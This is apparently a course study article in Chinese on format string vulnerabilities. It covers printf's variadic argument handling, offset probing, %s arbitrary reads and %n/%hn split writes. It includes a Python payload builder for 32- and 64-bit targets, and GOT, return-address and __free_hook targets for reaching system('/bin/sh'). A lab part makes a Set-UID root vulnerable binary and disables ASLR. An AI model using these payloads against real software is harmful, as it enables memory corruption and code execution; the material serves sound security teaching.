
格式化字符串攻击:从栈帧布局到任意内存读写
本文深入解析格式化字符串漏洞的底层机制(可变参数函数、栈帧布局、va_list工作原理)、危险场景剖析、利用技术(信息泄露、任意内存读写、GOT劫持)以及防御措施,是软件安全课程的重要实验内容。
[迁移说明] 本文最初发布于
blog.zzw4257.cn,现已迁移并在本站进行结构化整理与增强。
凝练总结
一、 底层机制:可变参数函数 (Variadic Functions) 的实现
注: 原文档中的栈帧布局示意图(此处省略,详见课程材料)
要理解漏洞,必须理解 C 语言编译器和 CPU 是如何处理 printf(fmt, ...) 这种参数个数不定的函数的。
1.1 栈帧布局 (Stack Layout) 与调用约定 (cdecl)
在 32 位 x86 架构(cdecl 调用约定)中,函数参数是从右向左入栈的,栈生长方向是向低地址生长。
假设调用 printf("A=%d, B=%x", 10, 20),汇编层面的操作如下:
- Push 20 (参数3)
- Push 10 (参数2)
- Push “A=%d, B=%x” 的地址 (参数1,格式化字符串)
- Call printf (压入返回地址 ret,跳转)
- Push ebp; Mov ebp, esp (建立 printf 的栈帧)
此时,printf 函数内部的栈布局如下(高地址 -> 低地址):
[ 高地址 ]
...
| 20 (0x00000014) | <--- 参数3 (可变参数2)
| 10 (0x0000000A) | <--- 参数2 (可变参数1)
| Format String * | <--- 参数1 (固定参数,指向 "%d...")
| Return Addr | <--- 函数返回地址
| Saved EBP | <--- printf 的栈底
[ 低地址 ]1.2 va_list 的工作原理
printf 内部无法通过变量名访问 10 和 20,它依赖 <stdarg.h> 中的宏来操作一个内部指针,通常称为 va_list ap(Argument Pointer)。
va_start(ap, fmt):- 原理:它获取固定参数
fmt的地址,然后加上一个字长(4字节)。 - 结果:此时
ap指针指向了参数2 (10) 的内存地址。
- 原理:它获取固定参数
- 解析格式化字符串:
printf开始逐个字符扫描格式化字符串。- 当它扫描到普通字符(如
'A','='),直接输出。 - 关键点:当扫描到
%时,它解析后面的类型(如d)。
va_arg(ap, int):- 原理:
printf认为栈上当前ap指向的位置是一个int。它读取ap指向的 4 字节数据,当作整数输出。 - 移动:读取后,
ap指针自动向下移动sizeof(int)(4字节),指向下一个位置(即参数3)。
- 原理:
1.3 漏洞的根本成因 (The Disconnect)
- 编译器视角:C 语言编译器不检查
printf的参数数量是否匹配格式化字符串(除非开启特定的 Warning)。printf接受任意数量参数在语法上是合法的。 - 运行时视角:
printf完全盲目。它不知道栈上实际压入了多少参数。它唯一信赖的是格式化字符串。- 如果你给了 10 个
%x,但只压入了 2 个参数。 printf会无情地执行 10 次va_arg,导致ap指针一路向高地址“爬升”,读取栈帧之外的数据(如返回地址、环境变量、甚至上一层函数的局部变量)。
- 如果你给了 10 个
二、 危险场景剖析 (Vulnerability Patterns)
你提到的三个例子非常经典,它们揭示了漏洞的不同触发路径。
例一:直接传递用户输入
printf(user_input);- 意图:开发者想打印一个字符串。
- 错误:将数据(Data)当作了代码(Format Directives)。
- 攻击:用户输入
%x %x %x。printf将其视为格式化指令,泄露栈数据。 - 修正:
printf("%s", user_input);—— 此时%s是唯一的指令,user_input只是被当作纯数据读取。
例二:间接注入 (sprintf 中转)
char buf[100];
sprintf(buf, "User: %s, ID: %d", user_input, 100);
printf(buf);- 隐蔽性:第一步
sprintf是安全的(如果忽略缓冲区溢出),它正确地把user_input填入了%s的位置。 - 成因:假设用户输入
AAAA%x。sprintf执行后,buf的内容变成了"User: AAAA%x, ID: 100"。 - 触发:当
printf(buf)执行时,它看到了%x,于是触发漏洞。这是二级注入,用户输入成为了最终格式化字符串的一部分。
例三:环境变量注入
sprintf(format, "%s %s", getenv("PWD"), ": %d");
printf(format, program_data);- 攻击面:攻击者虽然不能直接控制 stdin,但可以在运行程序前修改环境变量(本地攻击常见)。
- 利用:
export PWD="%x%x%x",然后运行程序。 - 启示:所有外部不可信输入(文件内容、网络包、环境变量、用户输入)如果流入
printf的第一个参数,都是漏洞。
三、 武器库:格式化占位符详解
理解这些占位符是构造 Payload 的前提。整体上记住都是,做个什么事情,往后走对应位数的行为,类似(++),所以有些时候想要达成相同效果,在32-》64过程中需要使用l类型替换
| 占位符 | 功能 | 期望参数类型 | 漏洞利用价值 |
|---|---|---|---|
%x | 以十六进制打印整数 | int (4 bytes) | 栈数据泄露。用于“扫描”栈内存。 |
%p | 打印指针地址 | void * (4/8 bytes) | 同 %x,但格式更规范(通常带 0x 前缀)。 |
%s | 解引用并打印字符串 | char * (Address) | 任意内存读取。这是最强大的读原语。它不打印栈上的值,而是把栈上的值当作地址,去读取该地址指向的内存。 |
%d | 打印有符号十进制 | int | 主要用于配合 %n 调整打印字符的数量(Padding)。 |
%c | 打印单个字符 | int / char | 微调 Padding。比如 %10c 输出10个字符,比 %10d 更节省 Payload 空间。 |
%n | 将已打印字符数写入内存 | int * (Address) | 任意内存写 (4字节)。攻击核心。 |
%hn | 同上,写入 2字节 | short * | 任意内存写 (2字节)。Payload 构造首选,防止超时。 |
%hhn | 同上,写入 1字节 | char * | 任意内存写 (1字节)。最精细,但 Payload 较长。 |
四、 核心技术:两种访问模式的深度对比
在利用漏洞时,我们需要让 printf 的内部指针(ap)准确地“指”到我们想要操作的数据上(通常是我们输入的 buffer 开头或某个特定位置)。这里有两种流派。
假设场景
- 缓冲区
char buf[100]在栈上。 - 我们输入的数据
buf起始地址,距离printf的第一个可变参数位置,相隔 Offset = 5 个字长(即栈上有 5 个其他数据,第 6 个数据开始是我们输入的buf)。
4.1 模式一:顺序扫描 (Sequential Access) —— “不使用 $”
这是最原始的方法,利用 ap 指针每次移动 4 字节的特性,通过堆砌占位符来“垫”过中间的垃圾数据。
- 目标:读取我们输入在 Buffer 开头的
AAAA(0x41414141)。 - 构造 Payload:(注意:
AAAA %x %x %x %x %x %xAAAA是输入数据,后面跟着 6 个%x) - 执行流程:
printf遇到第 1 个%x-> 打印栈上第 1 个垃圾数据。- …
printf遇到第 5 个%x-> 打印栈上第 5 个垃圾数据。printf遇到第 6 个%x-> 此时ap指针正好移到了 Buffer 的开头,打印出41414141。
- 缺点:
- 如果 Offset 很大(比如 200),Payload 会非常长,可能超出缓冲区限制。
- 会破坏
printf的内部计数状态,不够优雅。
- 应用场景:探测 Offset(Fuzzing 阶段)。
4.2 模式二:直接参数访问 (Direct Parameter Access) —— “使用 $k”
这是 POSIX 标准扩展功能,允许直接访问栈上的第 个参数。
- 语法:
%k$x(读取第 k 个参数),%k$n(写入第 k 个参数)。 - 目标:同上,读取 Buffer 开头的
AAAA。 - 构造 Payload:
AAAA %6$x - 执行流程:
printf解析到%6$x。- 它直接计算偏移:
Stack_Top + 6 * 4。 - 直接读取该位置的数据(即
AAAA)。
- 优点:
- O(1) 访问:不需要填充 5 个
%x。 - 稳定:无论 Offset 是 6 还是 200,Payload 长度几乎不变。
- 独立性:可以反复访问同一个位置,例如
%6$x %6$x。
- O(1) 访问:不需要填充 5 个
- 关键约束:一旦格式化字符串中使用了
$形式(如%6$x),所有其他的占位符也必须使用$形式(如不能混用%x和%6$x),否则行为未定义(通常会报错或失效)。
五、 实战演练:偏移量 (Offset) 的测算
在进行任何 Read/Write 攻击前,第一步永远是确定偏移量 。
5.1 测算步骤
构造探测 Payload: 输入一段具有特征标记的数据,后跟一串
%p或%x。AAAA.%p.%p.%p.%p.%p.%p.%p.%p(
AAAA的十六进制是0x41414141)分析输出: 假设输出如下:
AAAA.0xbfff0010.0x8048400.0x0.0x1.0xf7e2c637.0x41414141.0x252e7025...计算 :
- 找到
0x41414141。 - 数它是第几个打印出来的数值?
- 在上面的例子中,它是第 6 个数值。
- 结论:Offset 。
- 找到
5.2 验证
利用直接访问符验证: 输入:AAAA%6$x 输出:AAAA41414141 验证成功。这意味着:%6$x 对应的是 Buffer 的第 0-3 字节。
六、 进阶利用:任意内存读取 (Arbitrary Memory Read)
掌握了 之后,我们就可以读取进程空间内任意合法地址的数据(绕过 ASLR 需要先泄露基址,原理相同)。
目标
读取地址 0x0804a048 处的内容(假设这里存了 Secret)。
构造逻辑
- 要在栈上制造指针:
printf的%s需要一个指针。我们需要把目标地址0x0804a048放到栈上,让printf能够通过$k索引到它。 - 利用 Buffer 本身:我们输入的 Buffer 就在栈上。所以,我们把目标地址写在 Buffer 的开头。
Payload 构造
假设测得 Offset 。
结构:[目标地址 (4 bytes)] + [格式化指令]
输入内容 (Hex):
\x48\xa0\x04\x08+%6$s(注意:小端序存储地址)执行解析:
- 栈上第 6 个参数的位置,现在存放着我们输入的
0x0804a048。 printf遇到%6$s。- 它去栈上找第 6 个参数,取出的值是
0x0804a048。 - 它将
0x0804a048视为指针,去内存中读取该地址指向的字符串,直到遇到\0。 - Success:Secret 被打印出来。
- 栈上第 6 个参数的位置,现在存放着我们输入的
第一部分总结 (Part 1 Summary)
- 漏洞本质:
printf对参数个数和类型的盲目信任,导致可以通过格式化字符串操作栈指针va_list。 - 输入即代码:永远不要让
printf的第一个参数由用户控制。 - 两个世界:
- 顺序扫描 (
%x%x):用于探测、Fuzzing,简单粗暴但低效。 - 直接访问 (
%k$x):精确打击,是构造复杂 Write Payload 的基础。
- 顺序扫描 (
- Offset ():是一切攻击的坐标原点。它是 Buffer 起始地址相对于
printf栈顶的索引。 - 读原语:
- 泄露栈数据:
%k$p - 泄露任意内存:
[Addr] + %k$s这是复习计划的第二部分。在掌握了底层机制和任意读之后,我们将攻克软件安全中格式化字符串漏洞最核心、最复杂、也是威力最大的部分:任意地址写(Arbitrary Memory Write)。
- 泄露栈数据:
这一部分是**代码执行(RCE)**的必经之路。
七、 核心武器:%n 家族
printf 是一个输出函数,但 %n 让它变成了写入函数。这是漏洞利用的基石。
7.1 基本原理
- 功能:当
printf解析到%n时,它不输出任何内容。相反,它会统计在此之前已经打印出来的字符总数(Counter),并将这个整数写入到参数对应的内存地址中。 - 类型匹配:
%n:写入int(4 字节)。%hn:写入short(2 字节)。【实战首选】%hhn:写入char(1 字节)。
7.2 为什么不用 %n?
假设你要将地址 0x08048000 改写为 0xdeadbeef (十进制 3,735,928,559)。
- 如果你使用
%n,你需要先让printf打印出 37 亿个字符,然后才写入。 - 后果:程序会因 IO 耗时过长被系统 kill,或者缓冲区被撑爆。
- 对策:拆分写入 (Split Write)。我们将 4 字节拆分为两个 2 字节(利用
%hn)或四个 1 字节(利用%hhn)分别写入。
八、 写入策略:拆分与覆盖
这是本章的重难点。我们将标准 4 字节写入拆解为两次 2 字节写入。
8.1 目标拆解
假设:
- 目标地址:
Target_Addr(例如0x0804a000) - 想要写入的值:
0x12345678
我们将写入操作分为两步:
- 低 2 字节 (Low Short):向
Target_Addr写入0x5678。 - 高 2 字节 (High Short):向
Target_Addr + 2写入0x1234。
内存视角(小端序):
地址: 0x0804a000 [ 78 56 ] <-- 第一次写入 0x5678
地址: 0x0804a002 [ 34 12 ] <-- 第二次写入 0x1234
合起来: 0x123456788.2 计数器的单调性与排序
printf 的内部计数器是单调递增的。你不能打印了 100 个字符后,要求它回退到 50。
场景 A (理想情况):先写小数,再写大数。
- 目标:写
0x0010和0x0020。 - 操作:打印 16 个字符 -> 写
%hn-> 再打印 16 个字符 (总32) -> 写%hn。
- 目标:写
场景 B (常见情况):先写大数,再写小数。
- 目标:写
0x2000和0x1000。 - 问题:打印到
0x2000后,无法回退到0x1000。 - 解决方案:整数溢出 (Integer Overflow)。
short类型只有 16 位(最大 65535)。如果我们让计数器达到0x11000(十进制 69632),写入%hn时,高位的1被截断,实际写入内存的依然是0x1000。- 公式:如果
Next_Value < Current_Value,目标打印数 =Next_Value + 0x10000。
- 目标:写
九、 两种访问模式下的写入 Payload 构造
假设前提:
- 偏移量 (Offset): (输入 buffer 在第 6 个参数位置)。
- Target Addr:
0x0804a000。 - Target Value:
0x12345678。- 低位
0x5678(22136),写入0x0804a000。 - 高位
0x1234(4660),写入0x0804a002。
- 低位
9.1 模式一:直接参数访问 ($k) —— 【现代标准,必须掌握】
这种模式结构清晰,是最常用的攻击方式。我们不需要在栈上填充垃圾数据。
构造逻辑:
- 布局地址:将需要写入的两个地址放在 Payload 开头。
- 排序:比较
0x5678和0x1234。0x1234小,先写;0x5678大,后写。- 第 1 次写:值
0x1234,地址0x0804a002(高位地址)。 - 第 2 次写:值
0x5678,地址0x0804a000(低位地址)。
- 第 1 次写:值
- 对应参数索引:
- Payload 开头是地址1 (4字节) 和 地址2 (4字节)。
- Offset 。所以地址1 是参数 6,地址2 是参数 7。
详细计算:
- 初始计数:已写入 8 字节(两个地址)。
- 阶段 1 (写 0x1234):
- 目标:4660。当前:8。
- 需要填充 (Padding):
4660 - 8 = 4652。 - 指令:
%4652c%6$hn(向参数6即Target+2写入)。
- 阶段 2 (写 0x5678):
- 目标:22136。当前:4660。
- 需要填充:
22136 - 4660 = 17476。 - 指令:
%17476c%7$hn(向参数7即Target写入)。
最终 Payload (Hex 伪代码):
[0x0804a002] [0x0804a000] %4652c%6$hn %17476c%7$hn(注:实际地址需按小端序反写)
9.2 模式二:顺序扫描 (Sequential / No-$) —— 【理解原理,应对限制】
如果系统或函数不支持 %k$ 语法(某些嵌入式环境或旧版 libc),必须使用此方法。非常繁琐,容易出错。
核心难点: 我们不能直接跳到参数 6。我们必须用 %x 把参数 1 到 5 “吃掉”,同时还要利用这些 %x 来控制打印的字符数,还要把地址混在 Payload 中间(或者利用栈上已有的指针对齐)。
一种常见的构造结构(地址后置法): 为了不破坏前面的 %x 消耗过程,我们常把地址放在 Payload 的最后。
构造逻辑:
- 消耗栈:我们需要覆盖前 5 个参数。可以使用
%8x%8x%8x%8x%8x(假设每个消耗8字符宽度)。 - 利用栈指针:当处理完前 5 个参数后,
ap指针指向了 Buffer 开头。 - 写入操作:此时
ap指向 Buffer 开头。我们在 Buffer 开头放置%hn吗?不,那样%hn会把 Buffer 自己的 ASCII 码当地址写,崩溃。 - 精妙布局: Payload:
[Padding_And_Consuming] [Write_Instruction] [Addresses]
示例构造 (简化版,仅展示思路): 假设 。 Payload:
%8x%8x%8x%8x%8x <-- 消耗5个参数,此时共打印 40 字符
%[Val1-40]c%hn <-- 打印更多Padding,%hn写入当前栈顶指向的地址(即Addr1)
%[Val2-Val1]c%hn <-- 打印更多Padding,%hn写入下一个地址(Addr2)
[Addr1][Addr2] <-- 真正的地址放在这里- 问题:当执行第一个
%hn时,ap指针必须正好指到Addr1。但Addr1在字符串末尾。 - 修正:这种方法需要非常精确地计算
%x的数量,使得ap指针滑过前面的格式化字符串,正好落在末尾的Addr1上。通常这被称为 “Stack Pop” 技术。
对比总结:
- $k 模式:地址放在头,直接索引,简单精准。
- 非 $k 模式:地址放在尾,利用
%x垫高ap指针去撞击地址。极度依赖栈对齐,调试痛苦。
十、 泛化总结:通用 Payload 构造模板 (The Holy Grail)
无论题目怎么变,按照这个模板思考(以 32 位, 模式为例)。
10.1 变量定义
TARGET_ADDR: 目标起始地址。VALUE: 目标值0xHHL L。OFFSET: 偏移量 。
10.2 步骤流程
地址分解:
A1 = TARGET_ADDR(对应低位 L)A2 = TARGET_ADDR + 2(对应高位 H)
值分解与溢出处理:
V1 = VALUE & 0xFFFF(低位)V2 = (VALUE >> 16) & 0xFFFF(高位)- 排序:
- 若
V1 < V2: 顺序为(A1, V1) -> (A2, V2)。Count1 = V1Count2 = V2
- 若
V2 < V1: 顺序为(A2, V2) -> (A1, V1)。Count1 = V2Count2 = V1 + 0x10000(溢出修正)
- 若
计算 Padding:
Base_Len = 8(两个 4 字节地址的长度)Pad1 = Count1 - Base_LenPad2 = Count2 - Count1
组装 Payload:
Addr_First+Addr_Second(根据排序决定谁在前,但实际上$k可以乱序索引,通常为了对齐方便,地址按参数顺序放,利用$k和$(k+1)灵活指定)。- 最佳实践:始终固定地址顺序
A1, A2在开头。- 如果
V1 < V2:%Pad1c->%k$hn->%Pad2c->%(k+1)$hn - 如果
V2 < V1:%Pad1c->%(k+1)$hn->%Pad2c->%k$hn
- 如果
10.3 Python 伪代码 (Exam Ready)
def build_fmt_payload(offset, target_addr, value):
# 1. 准备地址
addr_low = target_addr
addr_high = target_addr + 2
# 2. 准备值
val_low = value & 0xffff
val_high = (value >> 16) & 0xffff
# 3. 决定顺序 (Small -> Big)
if val_low < val_high:
small_val = val_low
large_val = val_high
# 低位值小,先写低位地址(offset),再写高位地址(offset+1)
step1_idx = offset
step2_idx = offset + 1
else:
small_val = val_high
large_val = val_low + 0x10000 # 溢出修正
# 高位值小,先写高位地址(offset+1),再写低位地址(offset)
step1_idx = offset + 1
step2_idx = offset
# 4. 计算 Padding
# 初始已写入 8 字节 (两个地址)
written = 8
pad1 = small_val - written
pad2 = large_val - small_val
# 5. 构造
payload = p32(addr_low) + p32(addr_high)
payload += f"%{pad1}c%{step1_idx}$hn".encode()
payload += f"%{pad2}c%{step2_idx}$hn".encode()
return payload第二部分总结 (Part 2 Summary)
- 能力升级:从 Read 进化到 Write,意味着获得了修改程序控制流(GOT覆写、Ret覆写)的能力。
- 核心工具:
%hn是平衡 Payload 长度和复杂度的最佳选择。 - 覆盖艺术:
- 利用小端序拆分地址。
- 利用排序解决计数器单调递增问题。
- 利用整数溢出解决后写数值比先写数值小的问题。
- 模式选择:
- **hn` 精确打击,是考试和实战的标准解法。
- 非 $k 模式:通过尾部放置地址,利用
%x漫步栈指针,是特殊场景下的备选方案。
这是复习计划的第三部分。
在前两部分,我们掌握了 32 位系统下的核心机制。现在,我们将进入更贴近现代实战的领域:64 位架构(x64)的特殊挑战以及攻击目标的战略选择。
64 位系统不仅仅是地址变长了,它引入了一个致命的问题——空字节(Null Byte),这彻底改变了 Payload 的构造逻辑。
十一、 64 位架构的三大挑战
在 x64 环境下,printf 的行为发生了底层变化,直接照搬 32 位的 Payload 会立即失败。
11.1 传参机制变革:寄存器优先
- 32-bit:所有参数都在栈上。
- 64-bit (System V AMD64 ABI):前 6 个参数依次通过寄存器传递(RDI, RSI, RDX, RCX, R8, R9),第 7 个参数开始才放在栈上。
- 影响:
printf内部会先消耗掉那 6 个寄存器。- 我们的 Offset 即使指向 buffer 开头,起始值也至少是 6(寄存器数量)+ Stack_Offset。
- 实战:偏移量 通常会比 32 位大得多。
11.2 地址宽度与范围
- 地址长度变为 8 字节。
- 用户空间的地址通常只有 48 位有效(Canonical Form),高 16 位全是 0。
- 典型地址:
0x00007ffff7a00000。
- 典型地址:
- 后果:Payload 长度增加,计算 Padding 时需要减去更多的基数(8字节)。
11.3 致命的“空字节”问题 (The Null Byte Problem)
这是 64 位利用的核心痛点。
- 现象:64 位地址的高位总是包含
\x00(例如0x00007fff...)。 - 冲突:
printf的第一个参数是字符串,遇到\x00会立刻停止解析。 - 困境:
- 在 32 位中,我们把地址放在 Payload 开头:
[Address][Format]。 - 在 64 位中,如果把地址放在开头,Payload 变成
[\x00\x00...][Format]。printf读到第一个字节就停了,后面的格式化指令根本不会执行。
- 在 32 位中,我们把地址放在 Payload 开头:
十二、 64 位 Payload 构造策略:后置地址法 (Address-Last)
为了解决空字节截断,我们必须颠倒 Payload 的结构。
12.1 结构逆转
- 32-bit 模式:
[地址] + [Padding] + [指今] - 64-bit 模式:
[Padding] + [指令] + [填充对齐] + [地址]
逻辑:
- 让
printf先解析完所有的格式化字符串(此时字符串中没有\x00)。 - 当解析到
%k$hn时,它去栈的深处寻找第 个参数。 - 我们把地址放在 Payload 的最末尾,只要计算好偏移量 ,让
printf正好索引到末尾的这个地址即可。 - 地址中的
\x00此时作为数据的结尾,不会影响前面的解析。
12.2 构造步骤与公式
假设我们要向 TARGET_ADDR 写入值。由于地址在最后,我们需要极其精确地计算对齐。
Step 1: 确定基础偏移 先确定 Payload 起始位置对应的偏移量。假设输入 AAAA%p,发现 AAAA 是第 8 个参数,则 。
Step 2: 构造格式化串主体 假设我们要写入的值需要打印 个字符。 Fmt_Str = "%Pc%k$hn" (这里的 是待定占位符)。
Step 3: 计算地址的偏移 这是最难的一步。公式如下:
- 因为地址放在 Fmt_Str 后面,所以它的偏移量 = 起始偏移 + Fmt_Str 占用的块数。
- 对齐要求:Fmt_Str 的长度加上 Padding 必须是 8 的倍数,这样紧跟在后面的地址才能正好对其到栈的边界。
Python 构造模板:
# 目标:向 addr 写入 val
# 假设 Base_Offset = 6 (buffer 起始偏移)
payload_front = f"%{val}c%XX$hn" # XX 是我们接下来要算的 k
# 计算需要填充多少字节才能让 payload_front 对齐到 8 字节
# len(payload_front) 本身包含未知的 XX,通常先预估长度(如XX用占位符先算)
# 这里简化逻辑:假设 payload_front 长度补齐后是 M 字节
while len(payload_front) % 8 != 0:
payload_front += "A"
# 计算最终的 k
# M 是 payload_front 的长度
# k = Base_Offset + (M / 8)
final_k = base_offset + (len(payload_front) // 8)
# 替换占位符
real_payload = payload_front.replace("XX", str(final_k))
# 再次检查对齐 (因为替换数字可能改变长度)
# 实战中通常使用 ljust(length, b'A') 强制固定长度,避免动态变化
payload = real_payload.encode() + p64(addr)十三、 目标选择:打哪里? (Target Selection)
有了“枪”(任意写),我们需要选“靶子”。
13.1 经典靶心:GOT 表 (Global Offset Table)
- 原理:GOT 表存储了外部函数(如
printf,exit,puts)的真实地址。 - 攻击:将
printf的 GOT 表项修改为system的地址。 - 结果:下一次程序调用
printf("/bin/sh")时,实际执行的是system("/bin/sh")。 - 条件:程序未开启 Full RELRO 保护。
13.2 栈靶心:返回地址 (Return Address)
- 原理:修改当前栈帧的 Ret Addr,指向 Shellcode 或 ROP Chain。
- 难点:需要先泄露栈地址(通过
%p泄露environ或ebp),算出 Ret Addr 的绝对地址,因为栈地址是随机的(ASLR)。 - 优势:即使开启了 Full RELRO(GOT 表不可写),栈上的返回地址依然是可写的。
13.3 堆/库钩子:Hooks (__malloc_hook, __free_hook)
- 原理:Glibc 提供了一些钩子变量,用于调试内存分配。
- 攻击:将
__free_hook改为system。 - 触发:当程序执行
free(ptr)时,如果ptr指向内容是"/bin/sh",则触发 shell。 - 适用性:非常适合 Heap 相关的题目,或者通过 fmtstr 只能修改 libc 数据的情况。
十四、 保护与绕过 (Mitigations)
14.1 RELRO (Relocation Read-Only)
- No RELRO:Link Map、GOT 可写。
- Partial RELRO(默认):GOT 表可写。攻击 GOT 表。
- Full RELRO:GOT 表只读,程序启动时立即解析所有符号。
- 对策:攻击 栈返回地址 或 Libc Hooks (
__free_hook)。
- 对策:攻击 栈返回地址 或 Libc Hooks (
14.2 ASLR (地址随机化)
- 影响:Shellcode、栈、Libc 的地址每次都不一样。
- 对策:
- Info Leak:先利用
%p泄露栈上的某个 Libc 指针(如__libc_start_main+243)和栈指针。 - Calculate:根据泄露地址 - 偏移量 = 基地址 (Base Addr)。
- Exploit:构造基于基地址的 Payload。
- Info Leak:先利用
14.3 _FORTIFY_SOURCE
- 原理:GCC 的编译选项,它会替换
printf为__printf_chk。 - 限制:
- 如果格式化字符串位于可写内存段(如 Heap 或 Stack,即我们输入的 buffer),则禁止使用
%n。程序会直接 Crash。 - 不允许越过直接访问符(例如:用了
%2$x就不能用%1$x,必须用%1$x? 不,是不能跳过参数)。
- 如果格式化字符串位于可写内存段(如 Heap 或 Stack,即我们输入的 buffer),则禁止使用
- 绕过:很难绕过
%n的限制。如果遇到这个保护,通常只能做 Info Leak,无法做 Arbitrary Write(除非能利用 ROP 劫持流程绕过检查)。
十五、 终极泛化总结 (The Grand Summary)
将前三部分浓缩为一张脑图:
1. 核心公式
- Offset ():Payload 起始处距离
printf参数指针的距离。 - 任意读:
Addr + %k$s - 任意写:
Addr + %c...%k$hn
2. 架构差异对照表
| 特性 | 32-bit (x86) | 64-bit (x64) |
|---|---|---|
| 传参 | 全栈传参 | 前6寄存器 -> 后栈 |
| 字长 | 4 Bytes | 8 Bytes |
| Payload结构 | [地址][Fmt] | [Fmt][Padding][地址] |
| 地址特征 | 0x08... (无空字节) | 0x00007f... (高位空字节) |
| Offset计算 | 即为 Buffer 偏移 |
3. 构造模式决策树
- Q1: 32位 还是 64位?
- 32位 -> 地址放开头。
- 64位 -> 地址放末尾,注意 8 字节对齐。
- Q2: 目标值大小?
- 大数 -> 拆分为高低两部分 (
high,low)。 - 排序 -> 先写小的,后写大的(利用溢出
+0x10000)。
- 大数 -> 拆分为高低两部分 (
- Q3: 保护机制?
- Full RELRO -> 别打 GOT,打 Stack Ret 或 Hooks。
- ASLR -> 先 Leak,再 Write。
- Fortify ->
%n被封,放弃写,尝试侧信道或纯 Leak。
4. 扩展思考:%hhn 单字节写
你最初提到的扩展思考。
- 场景:当需要极度精细的控制,或者为了避免
%hn带来的过大 Padding 导致输出缓慢时。 - 原理:将 8 字节目标值拆分为 8 次 1 字节写入。
- 构造:
- 需要 8 个地址:
Addr, Addr+1, ..., Addr+7。 - 对这 8 个字节的值进行排序。
- Payload 会非常长(包含8个地址),但在 64 位下,由于地址必须后置,这会导致 Offset 变得非常大,计算极其复杂。
- 结论:在 64 位下,除非空间受限或特殊需求,通常使用
%hn(2字节写) 是性价比最高的平衡点。%hhn在 32 位中更为常见。
- 需要 8 个地址:
至此,格式化字符串漏洞的完整知识体系复习完毕。从底层的 va_list 到 64 位的空字节绕过,这套逻辑足以应对绝大多数 CTF 题目和实战场景。
知识点(课上记录)
背景
printf的第一个参数是 format string,而非一个具体的参数,其使用%标记占位符,打印过程中往占位符的位置填充数据,类似的有sprintf,fprintf,scanf等传统c函数。格式化字符串的内容不经审查会带来FSV(格式化字符串漏洞)
底层逻辑-可变参数函数
当函数参数个数不固定时,可使用 <stdarg.h> 宏族访问这些参数。
核心宏包括:
va_list ap;
va_start(ap, last_fixed_arg);
type var = va_arg(ap, type);
va_end(ap);一个经典的例子
#include <stdio.h>
#include `<stdarg.h>`
int myprint(int Narg, ...) {
va_list ap;
va_start(ap, Narg);
for(int i = 0; i < Narg; i++) {
printf("%d ", va_arg(ap, int));
printf("%f\n", va_arg(ap, double));
}
va_end(ap);
return 0;
}
int main(void) {
myprint(1, 2, 3.5);
myprint(2, 2, 3.5, 3, 4.5);
}- va_start(ap, Narg):确定可变参数起始地址(紧接着 Narg 之后的栈位置)。
- va_arg(ap, type):取当前参数并移动指针(按类型长度向上跳转,如 int4字节、double8字节)。【模式就是++,先取值并移动,必须对】
- va_end(ap):清理指针状态。 简单看一个逻辑
![[Pasted image 20251113101828.png]]
![[Pasted image 20251113102359.png]]
printf对可变参数访问
简单来说没有Narg了,而是利用format string来进行va_arg的具体类型决定,遇到任何一个%引导的 format specifiers,就利用va_arg获取va_list只想的可变参数移动
%d:将参数视为 int 类型,并使用十进制格式打印出来。%x:将参数视为 unsigned int 类型,并使用十六进制格打印出来。%s:将参数视为一个指向字符串的地址,并把该字符串打印出来。%f:将参数视为 double 类型,并打印出来。 见上右上图,需要一步一步向上演进
可变参数不够
在比较老的编译器版本,假设格式字符串和最终实际输出对象对不上,会出现一些问题。(格式化字符串假设是常量,现代编译器会检查,但假设不是就可能还是会漏掉)
printf("ID: %d, Name: %s, Age: %d\n", id, name);如左下图,这种情况出现会导致什么呢,最后一个%d指向的是非参数区域
利用方式集锦
例一:
printf(user_input);
例二:
sprintf(format, "%s %s", user_input, ": %d");
printf(format, program_data);
例三:
sprintf(format, "%s %s", getenv("PWD"), ": %d");
printf(format, program_data);第一个是将非格式字符串的当成格式字符串
举个例子
- %x 可让程序泄露栈上内容(信息泄露)
- %s 可让程序尝试读取任意地址导致崩溃或泄露字符串
- %n 可让攻击者向内存写入值(可用于修改返回地址、覆盖函数指针等,实现代码执行)
user_input = "%x %x %x %x";
printf(user_input);是打印栈上内容
user_input = "%n";
printf(user_input);向任意地址写一个整数
第二个是恶意format被嵌入
开发者以为最终 format 只有一个 %d,但攻击者可以:
user_input = "AAAA %x %x %x %n"
- printf 读取错误数量的参数,破坏栈
- %x 泄露内存
- %n 修改内存
编写程序的人以为自己控制参数数量,但假设出现这种情况,用户可以注入格式符号破坏假设
第三个,就是PWD可以用户设置,类似效果
格式化字符串攻击
四个挑战:(1) 注入恶意代码到栈中; (2) 找到恶意代码的起始地址 A; (3) 找到返回地址保存的位置(我们用 B 来表示该位置); (4) 把 A 写入 内存地址 B
#include <stdio.h>
void fmtstr()
{
char input[100];
int var = 0x11223344;
/* print out information for experiment purpose */
#if __x86_64__
printf("Target address: 0x%.16lx\n", (unsigned long) &var); 🅰
#else
printf("Target address: 0x%.8x\n", (unsigned int) &var); 🅱
#endif
printf("Data at target address: 0x%x\n", var);
printf("Please enter a string: ");
fgets(input, sizeof(input), stdin);
printf(input); // The vulnerable place 🅲
printf("Data at target address: 0x%x\n",var);
}
void main() { fmtstr(); }漏洞的根源在于printf(user_input)这样的调用方式。这个编译最好关闭ASLR
# 编译为32位程序
$ gcc -m32 -o vul vul.c
# 设置为Set-UID程序
$ sudo chown root vul
$ sudo chmod 4755 vul
# 关闭ASLR
$ sudo sysctl -w kernel.randomize_va_space=0直接看下如何工具
$ ./vul
请输入字符串: %s%s%s%s%s%s
Segmentation fault这个户i反复往上解引用,然后遇到不合法的就卡住了
$ ./vul
...
请输入字符串: %x.%x.%x.%x.%x.%x
...bffff33f.11223344.252e7825...这个就有意思了,这个是打印数据(四个字节为单位)
第5个%x成功打印出了变量var的值0x11223344【需要计算var 到va_list 初始位置的距离】
然后接着就可以用 %n 其会将已经打印的字符数写进参数指向地址
我们要修改var就需要地址放入栈(代码中缓冲区在栈上,因此恶意将地址作为输入一部分),然后构造写入%n即可
具体看手段,假定地址是0xbffff304已经获取了,它本身不在栈上,我们就把地址放栈上即可,我们怎么构造载荷
$ echo $(printf "\x04\xF3\xFF\xBF").%x.%x.%x.%x.%x.%n > input
这个看着比较唬人就是二进制做成字符串然后拼在前面,记住小端序就好
![[Pasted image 20251113104640.png]]
